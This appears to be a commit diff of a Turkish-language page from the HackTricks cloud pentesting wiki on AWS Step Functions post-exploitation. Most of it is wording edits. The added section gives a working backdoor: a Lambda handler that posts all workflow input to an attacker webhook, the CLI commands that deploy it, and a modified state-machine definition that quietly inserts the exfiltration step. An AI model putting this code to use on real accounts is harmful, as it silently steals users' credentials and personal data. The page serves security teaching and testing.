mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -18,7 +18,7 @@ Bu izin, **bir yürütme içindeki gizli verileri açığa çıkarmaya** olanak
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Bu izinlere sahip bir saldırgan, durum makinelerini, bunların sürümlerini ve takma adlarını kalıcı olarak silebilir. Bu, kritik iş akışlarını kesintiye uğratabilir, veri kaybına yol açabilir ve etkilenen durum makinelerini geri yüklemek için önemli bir zaman gerektirebilir. Ayrıca, bir saldırgana kullanılan izleri örtme, adli soruşturmaları kesintiye uğratma ve temel otomasyon süreçlerini ve durum yapılandırmalarını kaldırarak operasyonları potansiyel olarak felç etme imkanı sağlar.
|
||||
Bu izinlere sahip bir saldırgan, durum makinelerini, bunların sürümlerini ve takma adlarını kalıcı olarak silebilir. Bu, kritik iş akışlarını kesintiye uğratabilir, veri kaybına yol açabilir ve etkilenen durum makinelerini geri yüklemek için önemli zaman gerektirebilir. Ayrıca, bir saldırgana izlerini örtme, adli soruşturmaları kesintiye uğratma ve temel otomasyon süreçlerini ve durum yapılandırmalarını kaldırarak operasyonları potansiyel olarak felç etme imkanı tanır.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
@@ -41,7 +41,7 @@ Bu izne sahip bir saldırgan, Map Run hata yapılandırmasını ve paralel ayar
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **Potansiyel Etki**: Performans düşüşü ve kritik iş akışlarının kesintiye uğraması.
|
||||
- **Olası Etki**: Performans düşüşü ve kritik iş akışlarının kesintiye uğraması.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
@@ -56,11 +56,130 @@ aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--ca
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
Bir saldırgan, Step Functions kaynaklarından etiketler ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
|
||||
Bir saldırgan, Step Functions kaynaklarından etiketler ekleyebilir, değiştirebilir veya kaldırabilir, bu da organizasyonunuzun maliyet tahsisi, kaynak takibi ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.
|
||||
**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Aşağıdaki izinlere sahip bir kullanıcı veya rolü ele geçiren bir saldırgan:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...bir **yüksek etkili ve gizli bir post-exploitation saldırısı** gerçekleştirebilir, Lambda arka kapısını Step Function mantık manipülasyonu ile birleştirerek.
|
||||
|
||||
Bu senaryo, kurbanın **duyarlı girdi işleyen iş akışlarını düzenlemek için AWS Step Functions kullandığını** varsayar; bu girdiler arasında kimlik bilgileri, tokenlar veya PII bulunur.
|
||||
|
||||
Örnek kurban çağrısı:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
Eğer Step Function, `LegitBusinessLogic` gibi bir Lambda'yı çağıracak şekilde yapılandırılmışsa, saldırgan **iki gizli saldırı varyantı** ile devam edebilir:
|
||||
|
||||
---
|
||||
|
||||
#### Lambda fonksiyonunu güncelledi
|
||||
|
||||
Saldırgan, Step Function tarafından zaten kullanılan Lambda fonksiyonunun (`LegitBusinessLogic`) kodunu, giriş verilerini sessizce dışarı aktarmak için değiştirir.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### Step Function'a Kötü Amaçlı Bir Durum Ekleyin
|
||||
|
||||
Alternatif olarak, saldırgan Step Function tanımını güncelleyerek iş akışının başında bir **sızdırma durumu** enjekte edebilir.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
Saldırgan, durumu tanımını daha gizli bir şekilde şu şekilde güncelleyebilir:
|
||||
{
|
||||
"Comment": "Exfiltrasyon için Arka Kapı",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
kurbanın farklılığı fark etmeyeceği bir şekilde.
|
||||
|
||||
---
|
||||
|
||||
### Kurban Ayarı (Sömürü için Bağlam)
|
||||
|
||||
- Hassas kullanıcı girdilerini işlemek için bir Step Function (`LegitStateMachine`) kullanılır.
|
||||
- `LegitBusinessLogic` gibi bir veya daha fazla Lambda fonksiyonu çağrılır.
|
||||
|
||||
---
|
||||
|
||||
**Olası Etki**:
|
||||
- Gizli verilerin, kimlik bilgileri, API anahtarları ve PII dahil olmak üzere sessiz bir şekilde sızdırılması.
|
||||
- İş akışı yürütmesinde görünür hata veya başarısızlık yok.
|
||||
- Lambda kodu veya yürütme izlerini denetlemeden tespit edilmesi zor.
|
||||
- Arka kapı kodda veya ASL mantığında kalırsa uzun vadeli kalıcılığı sağlar.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user